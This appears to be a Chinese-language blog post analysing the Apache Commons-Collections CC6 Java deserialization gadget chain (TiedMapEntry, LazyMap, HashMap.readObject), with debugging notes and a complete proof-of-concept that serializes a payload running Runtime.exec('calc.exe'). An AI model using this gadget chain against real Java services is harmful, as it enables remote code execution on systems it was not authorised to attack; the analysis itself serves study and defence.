Commons-Collections6分析
2022-03-05 20:11:00 # Java

Commons-Collections6分析

前言

CC6这条链跟CC1中的LazyMap链很像,前面几乎都一样的,区别是CC1是AnnotationInvocationHandler.invoke()调用了LazyMap的get方法,而CC6是TiedMapEntry.getValue调用的LazyMap的get方法

1646475977099.png

漏洞分析

先来看一下TiedMapEntry类的构造器,传入一个Map对象和key

1646476228898.png

然后看一下getValue方法,这里调用了map.get()方法,其中map是可控的。而其hashCode()方法调用了getValue()方法

1646476327839.png

1646476491628.png

所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry的hashCode()方法。最后是发现了HashMap的readObject方法中调用了hash(key),而hash方法又调用了key.hashCode()。所以只需要让这个key等于TiedMapEntry对象即可。

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

先构造出恶意的LazyMap

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{});

Map lazyMap = LazyMap.decorate(new HashMap(),faketransformerChain);

这里为了避免本地调试的时候触发命令执行,可以在构造LazyMap的时候先传入一个new ConstantTransformer(1),等到最后需要生成payload的时候,再把真正的transformerChain

现在,我们拿到了一个恶意的LazyMap对象lazyMap,将其作为TiedMapEntry的map属性传入

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");

紧接着,为了调用TiedMapEntry的hashCode()方法,我们需要将tiedMapEntry作为HashMap的key属性传入。

1
2
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"valuevalue");

最后,就可以将这个expMap作为对象来序列化了,不过还需要将之前的faketransformerChain替换回来。因为ChainTransformer类的Transformer[]数组的静态变量名为iTransformers

1646478045966.png

1646478490756.png

1
2
3
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");//通过反射获取这个成员变量
f.setAccessible(true);
f.set(faketransformerChain, transformers);//第一个参数传入transformerChain,第二个参数传入想要修改为的值

此时整个Gadget已经构造完毕了,但是此时还不能够执行命令,我们来跟着流程调试一遍。

1646479018163.png

最后触发命令执行的是transform(),但是这里进不去if语句,因为map.containKey(key)的结果为true

1
boolean containsKey(Object key);//如果hashMap中存在指定的key对应的映射关系返回true,否则返回false。

也就是他检测到了hashMap中有一个key是keykey的对象,我们唯一用到keykey的地方就是TiedMapEntry的构造函数里面,但是构造函数里面并没有修改lazyMap

1
2
3
4
5
Map lazyMap = LazyMap.decorate(new HashMap(),new ConstantTransformer(faketransformerChain));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"keykey");

Map expMap = new HashMap();
expMap.put(tiedMapEntry,"valuevalue");

其关键点就在expMap.put(tiedMapEntry,"valuevalue");里面,在HashMap的put方法中,也调用到了hash(key);

1646479532701.png

这里就导致了LazyMap这条利用链在这里被重复调用了一次,而一开始使用的faketransformersChain,因此并没有触发命令执行。

所以只需要将keykey这个key从lazyMap中移除就好了。

1
lazyMap.remove("keykey");

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package CC.CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

ChainedTransformer faketransformerChain = new ChainedTransformer(new Transformer[]{});
HashMap map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,faketransformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"keykey");

Map expMap = new HashMap();
expMap.put(tiedMapEntry,"valuevalue");
lazyMap.clear();

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");//通过反射获取这个成员变量
f.setAccessible(true);
f.set(faketransformerChain, transformers);

serialize(expMap);
unserialize("Le1a.bin");


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Le1a.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}